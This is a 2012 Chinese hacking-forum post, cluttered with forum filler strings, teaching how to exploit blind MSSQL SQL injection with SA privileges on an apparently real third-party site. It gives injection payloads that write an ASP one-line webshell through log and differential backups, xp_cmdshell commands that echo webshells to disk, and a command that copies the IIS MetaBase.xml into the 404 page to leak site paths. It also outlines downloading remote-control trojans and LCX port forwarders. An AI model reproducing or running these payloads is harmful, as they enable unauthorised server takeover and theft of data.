找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2220|回复: 0
打印 上一主题 下一主题

sa权限的教程.

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:30:15 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
————————————————————————九零后安全技术小组 | 90 Security  Team -- 打造90后网安精英团队  ———————————————————————————————
0 C  _  q7 w8 F, ]6 a, N4 v1 A
9 O; D  I  \( k  K; l$ o3 a! h! K, v
: O! t8 x6 c, z4 B" o( V$ G' ]- b                                                             欢迎高手访问指导,欢迎新手朋友交流学习。
) u9 j9 W# I' G- n8 c0 O. \7 X4 c( C; I- A  I. i
                                                                 
* D: ]* k7 g- ?2 j$ h# `' v' y                                                                 
3 z# X8 s4 i1 j' Y8 U2 b                                                                  论坛: http://www.90team.net/3 [1 }, P' X$ e( D& A# m! V
- A5 _! k6 c/ J  ?7 i
. v$ t* x7 W. d( n

; s& G9 F/ j" g0 |8 |& v友情检测国家人才网' h, i( Y% g; X# h  w% L
1 R! S  Y5 d4 U" {
# _4 Y& s8 ]: X: k+ x, _6 m
内容:MSSQL注入SA权限不显错模式下的入侵
9 {  \7 n' o# e, W1 c- I- F* ]. O  U

& I+ \# }9 A+ }4 P$ M/ P6 q一般新手扫到不显错的SA(systemadmin)的注入点时,虽然工具能猜表列目录但还是很麻烦有的人就直接放弃了,今天我给大家演示下如何利用。方法很简单大家看操作。; S/ Q6 N8 N! }' O9 T# I

- t7 ]9 h2 W+ L# I7 \我这里使用的是 火狐的插件提交参数。跟在浏览器里直接提交一样。
  V. u6 |, H6 A9 z% u
) ?+ t' V+ _& g0 h+ i* _; ^: }4 S6 w; c
这里的主机环境:MSSQL+JSP 权限为不显错的SA,支持多行执行 xp_cmdshell存活 服务器处于内网,WEB和数据库在同一台服务器上。注意这里服务器操作系统是windows2003,IIS,404页面的默认路径是 C:\Windows\Help\iisHelp\common\404b.htm。* C5 W8 M& ?' x9 L" Z6 n6 ]' Y

, S, |5 _  o2 U思路:
! |6 _6 }8 X0 E& U" a) `0 D2 q/ l+ S1 \0 h' s
首先:
0 A9 p9 }# C1 c  p* I( G
6 R9 j, \( o3 P6 s通过XP_CMDSHELL 执行命令再将执行结果指向IIS的404页面,然后访问WEB站点的一个不存在的目录得到命令执行结果,刺探服务器信息。
' w$ U* k. O  P% [7 c
# L3 P$ g" o3 [: D+ {+ o% _1 U  j1.日志备份获得Webshell" Y# A* _; O- U: B" [) Q
% _, U2 N# m4 }$ ]
2.数据库差异备份获得Webshell3 x/ i  B; g* i8 o: `, G
/ K2 v/ m2 u* j7 X
4.直接下载免杀远控木马。
2 o9 l' B* Q& t/ M. q6 L3 j( ^' a  {. |2 L2 ]( _0 Z
5.直接下载LCX将服务器端口转发出来
  B" l6 B' y( P! I) S- ]/ T8 p  v" u( T. T; y( ~
6.通过XP_CMDSHELL 执行命令读取iis配置文件(C:\Windows\system32\inetsrv\MetaBase.xml )分析查找WEB站点路径并在CMD下写入转义后的一句话获得WEBSHELL上传LCX将服务器转发出来。
+ D. `9 D& _6 Y7 d- B& |: D9 c; b9 o/ X/ v4 Q# V

$ X0 F% P$ `' Y  M! K
: o$ i- p8 g# X  ], y2 d4 n在这里我就不浪费大家时间了,我已经测试过  日志备份和 数据库差异备份 都没有成功 我就不演示了。  直接下载免杀木马。。这个也不用演示了。 直接在注入点后写入一个 DOWN 的VBS脚本下载就行了, $ R2 ?( m) c. C* B3 V; r$ @' f, A
- |8 L' C+ ~; a& }
我直接演示后面一个方法
! H1 G; q& B, s+ y3 A- o0 V8 ]; c/ j/ ?
* a! p- C: m6 L  d
分析查找WEB站点路径并在CMD下写入转义后的一句话获得WEBSHELL
5 G" ~& K$ n4 a* R
; |- o0 Y7 I) v- P; I- b8 ^
% }2 C1 R7 D8 i6 C" M" X( D$ ~3 Y; o6 v" i0 b$ V  `  @! M+ a* ?

/ p$ i  O; i( \# _; ^  k8 T◆日志备份:7 y5 I) y5 [' h  K6 M& {
  X& T' L+ ~) u4 o7 S. R* K- s

; H) k, F8 C/ s1. 进行初始备份+ d6 I$ b" p. B$ E4 r
; Alter Database TestDB Set Recovery Full Drop Table ttt Create Table ttt (a image) Backup Log TestDB to disk = '<e:\wwwroot\m.asp>' With Init--
: ]8 y6 `' w" S9 D# V- k* ^3 y3 E/ x( `* B7 A3 m( {. \
2. 插入数据
9 C4 r" |3 O& `  n  t6 z6 [4 h# l;Insert Into ttt Values(0x253E3C256576616C2872657175657374286368722839372929293A726573706F6E73652E656E64253E)--  U1 L1 l6 Y8 ^
- j7 z8 E, v& W! d
0x253E3C256576616C2872657175657374286368722839372929293A726573706F6E73652E656E64253E   为 一句话木马 %><%eval(request(chr(97))):response.end%>: s' i" T/ f0 F" c2 T, j5 g- Z
  ( B4 n, a! g; J0 g! ~
3. 备份并获得文件,删除临时表
9 ^0 q- W4 Y4 C: ];Backup Log <数据库名> To Disk = '<e:\wwwroot\m.asp>';Drop Table ttt Alter Database TestDB Set Recovery SIMPLE--$ \4 c6 R( N; a: W0 K
5 ]  U. |1 B6 T9 L& _$ |& y

+ U+ K: g' b2 G% a% }: j* Z0 \; J2 t/ H
◆数据库差异备份6 {: s: S+ _9 f3 i8 ]

0 `" J9 q- n* _+ j# Z(1. 进行差异备份准备工作% u. h0 M7 P9 f1 q+ f2 }0 s5 ^% N
5 a# a9 V* U6 D, H) X
;Declare @a Sysname;Set @a=db_name();Declare @file VarChar(400);Set @file=<0x633A5C746573742E617370>;Drop Table ttt Create Table ttt(c Image) Backup Database @a To Disk=@file--
; ^- R# J& H" H; a% Q' \/ M7 s; e2 q4 V$ c9 V: D& M
上面的 0x633A5C746573742E617370  是 c:\test.asp 路径转换后的16进制编码
9 g& l. `5 u9 m0 D" X+ w $ Y. |7 [/ h: z4 k1 j) R" ~
$ s  ]; Y$ t, w" `# D! `9 T
(2. 将数据写入到数据库3 s9 i, ]6 ?( [  E3 C' x
;Insert Into ttt Values(0x253E3C256576616C2872657175657374286368722839372929293A726573706F6E73652E656E64253E)--
$ F/ ^* N* @4 i$ N0 d
0 n3 Z" {/ }" f, q6 {/ o0x253E3C256576616C2872657175657374286368722839372929293A726573706F6E73652E656E64253E   为 一句话木马 %><%eval(request(chr(97))):response.end%>
0 M+ ~# a$ I# x# }! D
9 Z) }! K' E0 k( m2 w; F8 N, @, J3. 备份数据库并清理临时文件, w; ?8 z4 ^+ p6 }
, U8 h9 U5 q  h7 F
;Declare @b SysName;Set @b=db_name();Declare @file1 VarChar(400);Set @file1=<0x633A5C746573742E617370>;Backup Database @b To Disk=@file1 With Differential,Format;Drop Table ttt;--
, e) S$ s% |8 ~2 a' Q, L/ E2 k3 v& I7 B# J3 e# O
0x633A5C746573742E617370  为 c:\test.asp  删除临时文件
9 @3 I: I# ?  |& c" L; }7 T9 N, c3 @4 ^/ H4 L" a8 Z
# s$ a; r, I1 `: p2 ?1 a& e

; Y. t$ [4 V/ e- G0 ?. k# g& s用^转义字符来写ASP(一句话木马)文件的方法:   4 |. N3 ]# X& T4 M- `+ z7 O" ]

) z6 R+ E7 u$ M. j! B1.注入点后执行;exec master.dbo.xp_cmdshell 'echo ^<script language=VBScript runat=server^>execute request^("90"^)^</script^> >c:\mu.asp';--. L* L& N. `9 T+ Q' T, o1 u( O

5 }! z2 P6 i* s) _% p9 ^2.CMD下执行 echo ^<%execute^(request^("l"^)^)%^> >c:\mu.asp % H- O8 v+ n' u: @

5 }/ D- s9 w* U3 C读取IIS配置信息获取web路径
/ L3 j" c; D( r+ Z7 _$ {' G* k; k2 B+ T( c
     
% X3 h* L7 A2 F) i( H6 r  f& M     注入点后面执行   ;exec master..xp_cmdshell 'copy C:\Windows\system32\inetsrv\MetaBase.xml C:\Windows\Help\iisHelp\common\404b.htm'--( D3 c# c& @8 `" z2 H
1 x3 A# B5 \1 R2 G# c. g
执行命令
" ^( X0 s! l& [+ q* x) i0 u     ! @: s5 {( A1 p: m- A9 k6 P
     注入点后面执行   ;exec master..xp_cmdshell 'ver >C:\Windows\Help\iisHelp\common\404b.htm'--' }) t, i" {9 C$ o# A( l

( u8 w# _/ y' c0 M' G9 y) F
" b; n# }9 _( D1 A4 ]% D% O
) a2 x$ O) L* p# y5 u2 E, }+ o$ r1 C4 D  c# R

+ N! X) N  Q2 t; Z( P
9 P$ \1 C$ R/ k) l% f' s+ L3 f# k; z  f% m" [" k
7 s9 x, \/ E9 I5 y& s4 ?
4 p+ V* s- w; a  Y/ ], F

" m' Q) a" ^: n) z7 [7 D) c9 x' V, h. w, F

2 U0 |# H, Y$ u+ E3 o# H. N% y
  F4 H4 U/ g( K. y' B& F
& f# n5 \- a8 K) b9 E

" B; E1 m2 }7 m$ Y, A; ~
  U4 N( r5 q2 F8 Q. N) J8 d
; Q* E  [2 e: v& s
& |# _- w. z/ X) H" d/ e+ J3 N5 v& x/ d8 t
, q( G# {' m1 e% s( D; i# Q; r  o

) S, \3 r. D. `  u
( J& i! H1 |  D- L# ?# Y7 X1 O, u+ V" A+ G6 c- U! S
% _( Z" L! {' i" j3 P

' ]7 o, ]. P2 r
' H. M. l7 b' j, `) Y3 e! o  _4 G5 h0 b- f8 c; O

) v& ~  ]4 z& W: u, p2 A
# I" m! c2 ~. O& p1 ]5 f
7 C2 \# z" Q- u4 {
( `& J5 t# W/ |$ L8 [5 f5 \
$ J% P4 u4 ^; K# Z( D+ b6 G  P3 d% r9 h, L  z( S

, C) B+ ~7 Y8 \4 o' h4 z7 o  O+ `5 P" \  X2 B1 t

' ?3 S0 y  d* k4 f$ R" j: Q! B7 P" ?
0 i' C6 E( @3 |" Q% f% T

' M. ]# n, Z) x( L7 h7 ^  P: `0 K5 M2 Z' [+ k% S

# S, Z% o9 O4 K3 p& ?& N! p
: d$ M( A- T- E7 R
1 ]2 G! R5 `6 M9 Z" u! O, n4 v
3 U8 G! h; U) I: G) {  A9 \5 x+ n. H& a- N! \$ b: p
/ Z9 d" ^& k2 h+ }8 u4 h
. x  T/ R7 q: R
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表